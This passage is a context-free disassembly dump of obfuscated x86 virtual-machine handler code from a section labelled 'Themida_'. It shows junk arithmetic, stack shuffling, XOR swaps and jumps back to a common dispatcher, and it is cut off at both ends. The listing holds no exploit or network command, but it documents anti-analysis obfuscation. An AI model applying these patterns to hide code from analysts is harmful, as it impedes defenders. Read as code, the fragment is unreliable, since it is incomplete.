4A7D2E6Fh pop edi jmp loc_552355 ; --------------------------------------------------------------------------- loc_562803: ; CODE XREF: Themida_:00558878j neg dl jmp loc_558D15 ; --------------------------------------------------------------------------- loc_56280A: ; CODE XREF: Themida_:00554D21j xor eax, edx xor edx, eax xor eax, edx sub esp, 4 mov [esp], edx push ecx mov ecx, 1 jmp loc_55B5B2 ; --------------------------------------------------------------------------- loc_562824: ; CODE XREF: Themida_:00550E91j pop eax push edi mov edi, 4 add eax, edi push dword ptr [esp] pop edi add esp, 4 jmp loc_55D285 ; --------------------------------------------------------------------------- lodsb sub al, 8Fh push edx push 0D10h mov [esp], ebx jmp loc_560A83 ; --------------------------------------------------------------------------- loc_56284D: ; CODE XREF: Themida_:00551D90j add esp, 4 push edx mov edx, 2 add ebp, edx pop edx xchg ebp, [esp] mov esp, [esp] shl dword ptr [esp], cl pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_562868: ; CODE XREF: Themida_:0055D051j jmp loc_550420 ; --------------------------------------------------------------------------- loc_56286D: ; CODE XREF: Themida_:00556D58j push edx jmp loc_558487 ; --------------------------------------------------------------------------- loc_562873: ; CODE XREF: Themida_:00560060j push edx jmp loc_553832 ; --------------------------------------------------------------------------- loc_562879: ; CODE XREF: Themida_:0056566Aj pop edx add esp, 4 jmp loc_550420 ; --------------------------------------------------------------------------- loc_562882: ; CODE XREF: Themida_:0055820Fj pop ecx push dword ptr [esp] pop eax push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp pop edx push 78C9h mov [esp], eax push edi mov edi, 7E21219Ah jmp loc_55D1F4 ; --------------------------------------------------------------------------- loc_5628AB: ; CODE XREF: Themida_:005504C3j mov ecx, [esp] add esp, 4 push eax mov eax, 62945E28h and ecx, eax mov eax, [esp] add esp, 4 jmp loc_564756 ; --------------------------------------------------------------------------- mov ax, [esp] push 331h mov [esp], ebp push 3967h push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] jmp loc_562E37 ; --------------------------------------------------------------------------- loc_562905: ; CODE XREF: Themida_:005621F0j sub esi, 4 push 360Fh mov [esp], esi push dword ptr [esp+4] push dword ptr [esp] pop esi jmp loc_5506B4 ; --------------------------------------------------------------------------- loc_562920: ; CODE XREF: Themida_:00562F21j pop ecx pop edx add ecx, 0FFFFFFFFh jmp loc_55DB41 ; --------------------------------------------------------------------------- loc_56292A: ; CODE XREF: Themida_:0055AE92j pop ebx jmp loc_563D3E ; --------------------------------------------------------------------------- loc_562930: ; CODE XREF: Themida_:00558F8Bj jmp loc_550420 ; --------------------------------------------------------------------------- loc_562935: ; CODE XREF: Themida_:0055129Dj push dword ptr [esp] jmp loc_557ED3 ; --------------------------------------------------------------------------- loc_56293D: ; CODE XREF: Themida_:00565240j sub esp, 4 mov [esp], edi jmp loc_55378B ; --------------------------------------------------------------------------- loc_562948: ; CODE XREF: Themida_:0055700Bj pop esp jmp loc_55AF11 ; --------------------------------------------------------------------------- loc_56294E: ; CODE XREF: Themida_:0055338Cj mov [esp], eax mov eax, 0A67217Ah add eax, 1 shl eax, 5 sub eax, 341537CEh shr eax, 5 push ecx push 66AE014Ah jmp loc_555650 ; --------------------------------------------------------------------------- loc_562971: ; CODE XREF: Themida_:00555857j push edi mov edi, 5AE64CABh push ebx mov ebx, 0A8340E0h push ebp mov ebp, 50650C47h xor ebx, ebp pop ebp sub edi, ebx pop ebx add ebp, edi pop edi sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], eax jmp loc_5535E4 ; --------------------------------------------------------------------------- loc_5629A3: ; CODE XREF: Themida_:0055D8D7j add ebp, 0BDCED597h jmp loc_55744B ; --------------------------------------------------------------------------- loc_5629AE: ; CODE XREF: Themida_:0055A9BEj mov esi, 2 add edi, esi mov esi, [esp] add esp, 4 jmp loc_5596D0 ; --------------------------------------------------------------------------- loc_5629C3: ; CODE XREF: Themida_:00561C76j sub ebx, 342C0A37h sub ebx, edi push eax mov eax, 624A4752h dec eax jmp loc_565B59 ; --------------------------------------------------------------------------- loc_5629D7: ; CODE XREF: Themida_:0055B448j pop edx mov edi, esi pop esi add ebx, edi pop edi xchg ebx, [esp] pop esp push 4A5Ah mov [esp], esi push ecx mov ecx, esp add ecx, 4 push esi mov esi, 4 sub ecx, esi pop esi xchg ecx, [esp] jmp loc_553300 ; --------------------------------------------------------------------------- loc_562A04: ; CODE XREF: Themida_:0055F42Ej pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop eax push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax add eax, 4 add eax, 4 xor eax, [esp] jmp loc_55F7F7 ; --------------------------------------------------------------------------- loc_562A36: ; CODE XREF: Themida_:005615E6j pop esp push ecx jmp loc_552BEA ; --------------------------------------------------------------------------- loc_562A3D: ; CODE XREF: Themida_:00550C65j sub esp, 4 mov [esp], edx jmp loc_5526D2 ; --------------------------------------------------------------------------- loc_562A4B: ; CODE XREF: Themida_:00564EFEj xchg eax, [esp] jmp loc_55A43B ; --------------------------------------------------------------------------- loc_562A53: ; CODE XREF: Themida_:00551B24j and eax, esi pop esi add eax, 0CD27874Bh xor ebp, eax jmp loc_559206 ; --------------------------------------------------------------------------- loc_562A62: ; CODE XREF: Themida_:00553189j mov edi, [esp] add esp, 4 push dword ptr [esp] jmp loc_554A65 ; --------------------------------------------------------------------------- loc_562A70: ; CODE XREF: Themida_:00555254j mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_563219 ; --------------------------------------------------------------------------- loc_562A86: ; CODE XREF: Themida_:0055BB5Dj pop esp sub al, bl push dword ptr [esp] pop ebx jmp loc_564274 ; --------------------------------------------------------------------------- loc_562A92: ; CODE XREF: Themida_:00554A95j sub ebx, ecx add ebx, 77B94138h mov ecx, [esp] add esp, 4 pop dword ptr [eax] jmp loc_5636DB ; --------------------------------------------------------------------------- loc_562AA7: ; CODE XREF: Themida_:00558D2Aj xor ebp, 281D3A16h sub esp, 4 mov [esp], edi jmp loc_561067 ; --------------------------------------------------------------------------- loc_562AB8: ; CODE XREF: Themida_:00550FC2j add dword ptr [esp], 4 mov eax, [esp] add esp, 4 add eax, 4 jmp loc_55D519 ; --------------------------------------------------------------------------- loc_562ACC: ; CODE XREF: Themida_:00550A32j sub ebx, 1D304ED4h add ebx, esi add ebx, 1D304ED4h mov esi, [esp] add esp, 4 push ebp jmp loc_558945 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_55DD72 ; --------------------------------------------------------------------------- loc_562AF4: ; CODE XREF: Themida_:005633C1j pop edx xchg esi, [esp] pop esp shr ecx, 7 push 7BEDh mov [esp], ebx push ecx mov ecx, esp add ecx, 4 push esi mov esi, 4 jmp loc_55BC7B ; --------------------------------------------------------------------------- loc_562B18: ; CODE XREF: Themida_:0055443Cj sub al, dl add al, 0EDh pop edx add al, 0D6h add al, 1Bh sub al, 7Dh jmp loc_5569A3 ; --------------------------------------------------------------------------- loc_562B28: ; CODE XREF: Themida_:00561D2Fj pop ecx jmp loc_559B6D ; --------------------------------------------------------------------------- loc_562B2E: ; CODE XREF: Themida_:005610E8j pop ecx jmp loc_55A6F1 ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_562B3D: ; CODE XREF: Themida_:0055B7F6j push 187Fh jmp loc_555EDE ; --------------------------------------------------------------------------- loc_562B47: ; CODE XREF: Themida_:00555EF7j pop edx push esi mov esi, esp jmp loc_5558E5 ; --------------------------------------------------------------------------- loc_562B50: ; CODE XREF: Themida_:0055AF0Cj add edi, 559ED6C4h add edx, edi pop edi jmp loc_55DC74 ; --------------------------------------------------------------------------- loc_562B5E: ; CODE XREF: Themida_:0055CAD1j xchg ecx, [esp] mov esp, [esp] mov [esp], edx push esp push dword ptr [esp] jmp loc_562E28 ; --------------------------------------------------------------------------- loc_562B70: ; CODE XREF: Themida_:0055D93Ej shr edx, 4 push ecx jmp loc_551334 ; --------------------------------------------------------------------------- loc_562B79: ; CODE XREF: Themida_:00562D01j pop dx jmp loc_5584C3 ; --------------------------------------------------------------------------- loc_562B80: ; CODE XREF: Themida_:0055CD4Ej push eax jmp loc_557E7F ; --------------------------------------------------------------------------- mov ax, [esp] push eax push esp mov eax, [esp] jmp loc_553D7A ; --------------------------------------------------------------------------- loc_562B94: ; CODE XREF: Themida_:005587BFj pop ebx add esi, eax pop eax jmp loc_55E9C4 ; --------------------------------------------------------------------------- loc_562B9D: ; CODE XREF: Themida_:00563830j push ebp mov ebp, 1AA7F17h shl ebp, 6 add ebp, 0FFFFFFFFh neg ebp jmp loc_564DD9 ; --------------------------------------------------------------------------- push dword ptr fs:[edx] jmp loc_5534C2 ; --------------------------------------------------------------------------- loc_562BBB: ; CODE XREF: Themida_:005517FDj pop ebx mov ecx, [esp] jmp loc_55593A ; --------------------------------------------------------------------------- loc_562BC4: ; CODE XREF: Themida_:00551609j sub ebx, edi pop edi jmp loc_55CBE8 ; --------------------------------------------------------------------------- loc_562BCC: ; CODE XREF: Themida_:0055B633j mov ah, bh mov dl, ah pop eax pop ebx sub dl, 0F8h dec dl push 0 sub byte ptr [esp], 0BDh jmp loc_556696 ; --------------------------------------------------------------------------- loc_562BE5: ; CODE XREF: Themida_:0055CBD4j add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_55B8AE ; --------------------------------------------------------------------------- loc_562BFC: ; CODE XREF: Themida_:00560DB6j xor eax, [esp] mov esp, [esp] mov [esp], eax jmp loc_550420 ; --------------------------------------------------------------------------- loc_562C0A: ; CODE XREF: Themida_:00558B27j pop ecx jmp loc_55877F ; --------------------------------------------------------------------------- loc_562C10: ; CODE XREF: Themida_:005577CCj push ebx push esp push dword ptr [esp] pop ebx add esp, 4 add ebx, 4 push esi mov esi, 4 jmp loc_559C6A ; --------------------------------------------------------------------------- loc_562C2A: ; CODE XREF: Themida_:0055170Fj inc edx and edx, 129A3C25h xchg ebx, edx inc ebx jmp loc_5529F0 ; --------------------------------------------------------------------------- loc_562C39: ; CODE XREF: Themida_:00554EFAj or esi, 160552E8h xor esi, 423B4F13h mov edx, esi mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp sub edx, 5A61141Dh add edx, 1C3CDB21h push edx jmp loc_5565A4 ; --------------------------------------------------------------------------- loc_562C6F: ; CODE XREF: Themida_:0055EDC5j mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 pop dword ptr [esp] push ebx push eax jmp loc_559CF4 ; --------------------------------------------------------------------------- loc_562C8D: ; CODE XREF: Themida_:005577BBj pop esp mov [esp], ebx push 3F85h mov [esp], esp add dword ptr [esp], 4 mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], ebp jmp loc_555D5E ; --------------------------------------------------------------------------- loc_562CB1: ; CODE XREF: Themida_:0055CA59j mov ecx, [esp] jmp loc_5555C6 ; --------------------------------------------------------------------------- loc_562CB9: ; CODE XREF: Themida_:005619BFj push ebp mov ebp, 4 jmp loc_55D9C0 ; --------------------------------------------------------------------------- loc_562CC4: ; CODE XREF: Themida_:00553983j sub edi, 4 xchg edi, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ecx sub esp, 4 mov [esp], eax push edx mov edx, 5FF45C55h jmp loc_55C0B0 ; --------------------------------------------------------------------------- loc_562CF0: ; CODE XREF: Themida_:0055782Ej add eax, 0BC794415h mov edx, eax pop eax jmp loc_55247B ; --------------------------------------------------------------------------- loc_562CFD: ; CODE XREF: Themida_:0056363Bj mov dl, 0FFh add bl, dl jmp loc_562B79 ; --------------------------------------------------------------------------- loc_562D06: ; CODE XREF: Themida_:0055C8CAj pop esp push ebx push esp pop ebx add ebx, 4 sub ebx, 4 jmp loc_561812 ; --------------------------------------------------------------------------- loc_562D1B: ; CODE XREF: Themida_:0055A699j mov esi, [esp] add esp, 4 sub eax, 27BD05BCh add eax, ebp add eax, 27BD05BCh mov ebp, [esp] add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] push edx push ecx push edx push 20010C82h mov edx, [esp] add esp, 4 jmp loc_55E631 ; --------------------------------------------------------------------------- loc_562D5B: ; CODE XREF: Themida_:00562295j pop ebp push esi mov esi, 40A36C3Fh or esi, 519B52B2h jmp loc_560FC6 ; --------------------------------------------------------------------------- loc_562D6D: ; CODE XREF: Themida_:0055EBA9j and bh, 57h dec bh sub bh, 0E9h add cl, 16h sub cl, bh sub cl, 16h pop ebx sub cl, 0FFh xor cl, 18h xor cl, 3Eh jmp loc_55BF0C ; --------------------------------------------------------------------------- loc_562D8C: ; CODE XREF: Themida_:0055FEB0j mov bl, al sub esp, 4 mov [esp], eax push edx mov dl, bl mov al, dl pop edx jmp loc_56419E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], al pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_562DB1: ; CODE XREF: Themida_:00558FB7j pop ebx add esp, 4 push edi jmp loc_5591DF ; --------------------------------------------------------------------------- loc_562DBE: ; CODE XREF: Themida_:0056486Cj shr ecx, 5 jmp loc_55B7A0 ; --------------------------------------------------------------------------- loc_562DC6: ; CODE XREF: Themida_:0055C0ABj mov edi, 7BBC2991h jmp loc_555DC9 ; --------------------------------------------------------------------------- loc_562DD0: ; CODE XREF: Themida_:005509C0j push ebp mov ebp, esp jmp loc_55DCB5 ; --------------------------------------------------------------------------- loc_562DD8: ; CODE XREF: Themida_:0055F98Dj mov ecx, [esp] sub esp, 4 mov [esp], esi push esp pop esi add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_552363 ; --------------------------------------------------------------------------- loc_562DF5: ; CODE XREF: Themida_:0055B4DEj neg al and al, 6Ah or al, 8Ch shl al, 3 jmp loc_55D82C ; --------------------------------------------------------------------------- loc_562E03: ; CODE XREF: Themida_:005573F5j add edi, 6FA0563Ah pop ecx add edi, 4 xchg edi, [esp] pop esp and eax, edi mov edi, [esp] jmp loc_557A01 ; --------------------------------------------------------------------------- loc_562E1E: ; CODE XREF: Themida_:0055F049j push 0ADCh jmp loc_5655EB ; --------------------------------------------------------------------------- loc_562E28: ; CODE XREF: Themida_:00562B6Bj pop edx add esp, 4 add edx, 4 jmp loc_560213 ; --------------------------------------------------------------------------- loc_562E37: ; CODE XREF: Themida_:00562900j pop esp mov [esp], ebp mov ebp, 4 push edi mov edi, 4A4D7238h sub [esp+8], edi pop edi add [esp+4], ebp add dword ptr [esp+4], 4A4D7238h pop ebp pop dword ptr [esp] push ebp mov ebp, 4 add dword ptr [esp+4], 3CE93EEDh add [esp+4], ebp sub dword ptr [esp+4], 3CE93EEDh pop ebp jmp loc_555F66 ; --------------------------------------------------------------------------- loc_562E7B: ; CODE XREF: Themida_:00557483j mov esp, [esp] mov [esp], esi push eax mov eax, 15FE0301h sub [esp+4], eax jmp loc_55EA3D ; --------------------------------------------------------------------------- loc_562E90: ; CODE XREF: Themida_:005602CDj mov eax, esp add eax, 4 jmp loc_55172A ; --------------------------------------------------------------------------- loc_562E9C: ; CODE XREF: Themida_:00565ACAj mov eax, [esp] jmp loc_555E40 ; --------------------------------------------------------------------------- loc_562EA4: ; CODE XREF: Themida_:00563DB5j xor esi, 10217B54h sub eax, esi pop esi jmp loc_5553C6 ; --------------------------------------------------------------------------- loc_562EB2: ; CODE XREF: Themida_:00554F94j mov ecx, [esp] jmp loc_564AA2 ; --------------------------------------------------------------------------- loc_562EBA: ; CODE XREF: Themida_:00565593j mov edx, [esp] jmp loc_55D022 ; --------------------------------------------------------------------------- loc_562EC2: ; CODE XREF: Themida_:00553ED9j pop esi mov eax, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_5612D4 ; --------------------------------------------------------------------------- loc_562EE1: ; CODE XREF: Themida_:005535C7j mov ebp, 3B9654CFh jmp loc_550F50 ; --------------------------------------------------------------------------- loc_562EEB: ; CODE XREF: Themida_:00557AE2j or edx, 66653FBh sub edx, 20F968CCh mov ecx, edx push dword ptr [esp] pop edx add esp, 4 shl ecx, 8 jmp loc_550A37 ; --------------------------------------------------------------------------- loc_562F08: ; CODE XREF: Themida_:005653F1j sub esi, ebx pop ebx and esi, 25D136E9h shl esi, 5 jmp loc_554EF8 ; --------------------------------------------------------------------------- loc_562F19: ; CODE XREF: Themida_:00557895j push 3CD5h mov [esp], edx jmp loc_562920 ; --------------------------------------------------------------------------- loc_562F26: ; CODE XREF: Themida_:005587EAj sub ecx, eax pop eax sub eax, 19B86457h add eax, ecx jmp loc_556390 ; --------------------------------------------------------------------------- loc_562F35: ; CODE XREF: Themida_:00554E6Bj pop edx push dword ptr [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_555A61 ; --------------------------------------------------------------------------- loc_562F57: ; CODE XREF: Themida_:0055126Ej pop edx not ebx shr ebx, 5 sub ebx, 12A6B7Bh dec ebx sub ebx, 43216FEh add edi, ebx jmp loc_563FFD ; --------------------------------------------------------------------------- loc_562F71: ; CODE XREF: Themida_:00550668j sub edi, 0BB0FE76Ch xor edx, edi pop edi add esi, 3E0C312Fh jmp loc_55F198 ; --------------------------------------------------------------------------- loc_562F85: ; CODE XREF: Themida_:0055D7BEj push 6CE1h mov [esp], ecx push 916h mov [esp], ebx jmp loc_55E453 ; --------------------------------------------------------------------------- loc_562F9A: ; CODE XREF: Themida_:005508B5j pop ecx add edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] jmp loc_55E9D5 ; --------------------------------------------------------------------------- loc_562FB2: ; CODE XREF: Themida_:00550922j sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], eax sub esp, 4 jmp loc_5616EB ; --------------------------------------------------------------------------- loc_562FCC: ; CODE XREF: Themida_:00554A89j add ebx, 4 push edi mov edi, 6DA43D8Eh add edi, 925BC276h sub ebx, edi pop edi xchg ebx, [esp] pop esp mov [esp], ebx jmp loc_560E70 ; --------------------------------------------------------------------------- loc_562FED: ; CODE XREF: Themida_:0056124Bj not dword ptr [esp] mov esi, [esp] add esp, 4 jmp loc_5576C6 ; --------------------------------------------------------------------------- loc_562FFB: ; CODE XREF: Themida_:00561A70j pop ecx xor ebp, [esp] jmp loc_563074 ; --------------------------------------------------------------------------- loc_563004: ; CODE XREF: Themida_:00561AF1j pop edx sub ecx, 6E297584h push 6F7Bh jmp loc_55B179 ; --------------------------------------------------------------------------- loc_563015: ; CODE XREF: Themida_:005640FBj add esi, 89D7EC7Ah mov eax, esi pop esi or [edi+1Ch], eax push dword ptr [esp] pop eax jmp loc_55B61A ; --------------------------------------------------------------------------- loc_56302A: ; CODE XREF: Themida_:00563152j and edi, ebp pop ebp dec edi not edi and edi, 2DFD18F1h jmp loc_562371 ; --------------------------------------------------------------------------- loc_56303B: ; CODE XREF: Themida_:00558A1Dj inc ebx add ebx, 36D59128h xor ebp, ebx pop ebx push edx jmp loc_55AC9A ; --------------------------------------------------------------------------- loc_56304B: ; CODE XREF: Themida_:0055680Aj movzx eax, al push dword ptr [edi+eax*4] jmp loc_550420 ; --------------------------------------------------------------------------- loc_563056: ; CODE XREF: Themida_:0055BEECj add ecx, 4 jmp loc_55ECE6 ; --------------------------------------------------------------------------- loc_563061: ; CODE XREF: Themida_:0055D230j sub al, 0ADh jmp loc_552E41 ; --------------------------------------------------------------------------- loc_563068: ; CODE XREF: Themida_:00558B36j xchg ebp, [esp] pop esp push small word ptr [eax] jmp loc_550420 ; --------------------------------------------------------------------------- loc_563074: ; CODE XREF: Themida_:00562FFFj xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], dx push ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_563089: ; CODE XREF: Themida_:0055C44Ej push edx mov edx, 29116880h xor edx, 1F714038h jmp loc_55E12A ; --------------------------------------------------------------------------- loc_56309A: ; CODE XREF: Themida_:005513CAj push ebx mov bl, 0EDh or bl, 40h and bl, 22h shl bl, 8 xor bl, 6Ch jmp loc_559793 ; --------------------------------------------------------------------------- loc_5630AE: ; CODE XREF: Themida_:0055D97Aj pop ebx add ebx, 1 add ebx, 4A78ACD6h push eax mov eax, ebx jmp loc_565199 ; --------------------------------------------------------------------------- loc_5630C3: ; CODE XREF: Themida_:00552A6Ej pop edx push dword ptr [esp] mov ecx, [esp] jmp loc_559192 ; --------------------------------------------------------------------------- loc_5630CF: ; CODE XREF: Themida_:0055C9ABj or al, 83h jmp loc_5553CD ; --------------------------------------------------------------------------- loc_5630D6: ; CODE XREF: Themida_:0055D8FEj pop ebx add ebp, 2C9A08F1h sub ebp, 0E7E9EDA1h jmp loc_554084 ; --------------------------------------------------------------------------- loc_5630E8: ; CODE XREF: Themida_:0055D9BBj xor eax, 27B17051h push edi mov edi, 3DD043C3h jmp loc_557F67 ; --------------------------------------------------------------------------- loc_5630F8: ; CODE XREF: Themida_:0055E6DAj and edi, 4BE37129h inc edi xor edi, 65828504h push ebx mov ebx, 1E97145Ch sub eax, ebx pop ebx sub eax, 19695712h add eax, edi add eax, 19695712h add eax, 1E97145Ch jmp loc_551B29 ; --------------------------------------------------------------------------- loc_563124: ; CODE XREF: Themida_:0055845Bj add edx, 4EC24BE2h add edx, ecx sub edx, 4EC24BE2h add edx, 4AD94751h push dword ptr [esp] mov ecx, [esp] push edi jmp loc_563CEB ; --------------------------------------------------------------------------- loc_563144: ; CODE XREF: Themida_:0055B201j dec edx shl edx, 7 jmp loc_55120A ; --------------------------------------------------------------------------- loc_56314D: ; CODE XREF: Themida_:0055ADEDj mov ebp, 64AD2692h jmp loc_56302A ; --------------------------------------------------------------------------- loc_563157: ; CODE XREF: Themida_:00564918j sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx jmp loc_55610F ; --------------------------------------------------------------------------- loc_563169: ; CODE XREF: Themida_:0055D5E0j xor dl, 0B1h mov bh, dl pop edx add dh, bh jmp loc_563B0C ; --------------------------------------------------------------------------- loc_563176: ; CODE XREF: Themida_:0055930Bj add esp, 4 jmp loc_55BABE ; --------------------------------------------------------------------------- loc_56317E: ; CODE XREF: Themida_:00561D72j push 0 sub [esp], eax jmp loc_559702 ; --------------------------------------------------------------------------- loc_56318B: ; CODE XREF: Themida_:0055E760j shr dh, 4 sub dh, 0E3h add al, dh pop edx push dx push eax mov ah, 0F0h shr ah, 1 not ah or ah, 3Fh dec ah shl ah, 8 jmp loc_55A49C ; --------------------------------------------------------------------------- loc_5631AA: ; CODE XREF: Themida_:0055FBECj pop ebx pop edx push eax jmp loc_5555FB ; --------------------------------------------------------------------------- loc_5631B2: ; CODE XREF: Themida_:0055F508j add esi, ecx jmp loc_55BA0D ; --------------------------------------------------------------------------- loc_5631B9: ; CODE XREF: Themida_:005510EAj xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] add [esp], ax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_5631E3: ; CODE XREF: Themida_:0055FDACj mov edx, 67E41EFEh mov esi, edx pop edx mov eax, 4C89C102h add eax, esi pop esi add edx, eax pop eax mov ebp, edx jmp loc_557EAD ; --------------------------------------------------------------------------- loc_5631FD: ; CODE XREF: Themida_:0055E0ABj push eax jmp loc_5509CF ; --------------------------------------------------------------------------- loc_563203: ; CODE XREF: Themida_:00561AD0j add ebp, 720A277Ah push eax mov eax, 0B1CD4DC8h add ebp, eax pop eax add edi, ebp jmp loc_563F0C ; --------------------------------------------------------------------------- loc_563219: ; CODE XREF: Themida_:00562A81j pop esp mov [esp], eax jmp loc_55C0D6 ; --------------------------------------------------------------------------- loc_563222: ; CODE XREF: Themida_:0055DFEEj xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_558574 ; --------------------------------------------------------------------------- loc_563231: ; CODE XREF: Themida_:00565329j xor edx, 39EC537Fh sub ebx, edx pop edx push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push eax jmp loc_5541FD ; --------------------------------------------------------------------------- loc_56325B: ; CODE XREF: Themida_:0055F559j mov eax, ebx pop ebx sub esi, eax pop eax xor esi, [esp] xor [esp], esi xor esi, [esp] pop esp mov [esp], cx jmp loc_555682 ; --------------------------------------------------------------------------- loc_563274: ; CODE XREF: Themida_:005555C1j xor esi, 42536FE7h add ebx, esi pop esi sub edi, ebx jmp loc_55AB00 ; --------------------------------------------------------------------------- loc_563284: ; CODE XREF: Themida_:005523C1j push edi mov edi, 4 add edx, edi pop edi push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp jmp loc_55F044 ; --------------------------------------------------------------------------- loc_56329C: ; CODE XREF: Themida_:00559475j push esi jmp loc_5566DE ; --------------------------------------------------------------------------- loc_5632A2: ; CODE XREF: Themida_:00561D7Dj add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_56120C ; --------------------------------------------------------------------------- loc_5632B4: ; CODE XREF: Themida_:0055C38Dj xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp sub [esp], eax pushf jmp loc_550420 ; --------------------------------------------------------------------------- loc_5632C7: ; CODE XREF: Themida_:00551155j sub ebx, ebp jmp loc_559DF9 ; --------------------------------------------------------------------------- loc_5632CE: ; CODE XREF: Themida_:00559166j shr ebx, 7 shl ebx, 1 sub ebx, 0DB3B3C6Ah sub eax, 3F3F31D8h add eax, 1E407CC3h add eax, ebx jmp loc_563418 ; --------------------------------------------------------------------------- loc_5632EA: ; CODE XREF: Themida_:0055A833j push esp push dword ptr [esp] pop esi add esp, 4 push 19A5h mov [esp], ecx push ebp mov ebp, 4 mov ecx, ebp jmp loc_550693 ; --------------------------------------------------------------------------- loc_563307: ; CODE XREF: Themida_:0055A563j xor bh, ch jmp loc_551714 ; --------------------------------------------------------------------------- loc_56330E: ; CODE XREF: Themida_:0055DB3Cj mov eax, 1E635EFAh jmp loc_56387F ; --------------------------------------------------------------------------- loc_563318: ; CODE XREF: Themida_:00550D3Dj or eax, 3EAB11C3h add eax, 53BE1036h jmp loc_55C762 ; --------------------------------------------------------------------------- loc_563327: ; CODE XREF: Themida_:0055A67Ej add esp, 4 jmp loc_5639E6 ; --------------------------------------------------------------------------- loc_56332F: ; CODE XREF: Themida_:00554612j push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_55D696 ; --------------------------------------------------------------------------- lodsb push edx jmp loc_55CED7 ; --------------------------------------------------------------------------- loc_56334A: ; CODE XREF: Themida_:0055C252j mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], edx push esp mov edx, [esp] add esp, 4 add edx, 4 add edx, 4 jmp loc_55EEA7 ; --------------------------------------------------------------------------- loc_563379: ; CODE XREF: Themida_:0055BDE3j add edx, 5CF24296h sub edx, 719F78A1h add edx, 4BE83EBCh pop ebp push 3E5Fh jmp loc_565144 ; --------------------------------------------------------------------------- loc_563396: ; CODE XREF: Themida_:0055DB7Bj sub ebx, 1E175464h sub ebx, ebp add ebx, 1E175464h pop ebp sub ebp, 71330043h add ebp, ebx add ebp, 71330043h pop ebx or ebp, 43BF1CB6h jmp loc_55826D ; --------------------------------------------------------------------------- loc_5633BF: ; CODE XREF: Themida_:00550898j add esi, edx jmp loc_562AF4 ; --------------------------------------------------------------------------- loc_5633C6: ; CODE XREF: Themida_:00550800j pop ecx mov ebx, eax pop eax push 1882h jmp loc_55A11C ; --------------------------------------------------------------------------- loc_5633D4: ; CODE XREF: Themida_:0055C948j xor eax, [esp] mov esp, [esp] push 2365h jmp loc_553E57 ; --------------------------------------------------------------------------- loc_5633E4: ; CODE XREF: Themida_:00556355j pop ecx mov edi, [esp] jmp loc_55900F ; --------------------------------------------------------------------------- loc_5633ED: ; CODE XREF: Themida_:005558AAj pop eax push ebp sub dword ptr [esp], 55340451h jmp loc_55EB98 ; --------------------------------------------------------------------------- loc_5633FB: ; CODE XREF: Themida_:0055B081j push edi push esp jmp loc_5581BE ; --------------------------------------------------------------------------- loc_563402: ; CODE XREF: Themida_:0055A49Fj mov dh, ah mov eax, [esp] add esp, 4 add al, 0C2h add al, dh sub al, 0C2h jmp loc_55B8D2 ; --------------------------------------------------------------------------- loc_563418: ; CODE XREF: Themida_:005632E5j push ebp mov ebp, 1E407CC3h sub eax, ebp pop ebp jmp loc_554B70 ; --------------------------------------------------------------------------- loc_563426: ; CODE XREF: Themida_:00551ACBj add ebx, 4DE37C48h push ebp jmp loc_55F6A5 ; --------------------------------------------------------------------------- loc_563432: ; CODE XREF: Themida_:00553427j mov [esp], edi push dword ptr [esp+4] push dword ptr [esp] pop edi jmp loc_553658 ; --------------------------------------------------------------------------- loc_563442: ; CODE XREF: Themida_:0055E315j sub dword ptr [esp], 8DE5732h pop eax add eax, 8DE5732h push dword ptr [esp] pop ecx push eax push 70DCh mov [esp], esp add dword ptr [esp], 4 jmp loc_555B26 ; --------------------------------------------------------------------------- loc_563465: ; CODE XREF: Themida_:0055968Aj mov ebx, 0EF951ED5h sub eax, ebx mov ebx, [esp] add esp, 4 jmp loc_55A27D ; --------------------------------------------------------------------------- loc_56347A: ; CODE XREF: Themida_:00564ACAj mov ecx, 277F417Bh sub ecx, esi pop esi and edi, ecx pop ecx jmp loc_553E00 ; --------------------------------------------------------------------------- loc_56348A: ; CODE XREF: 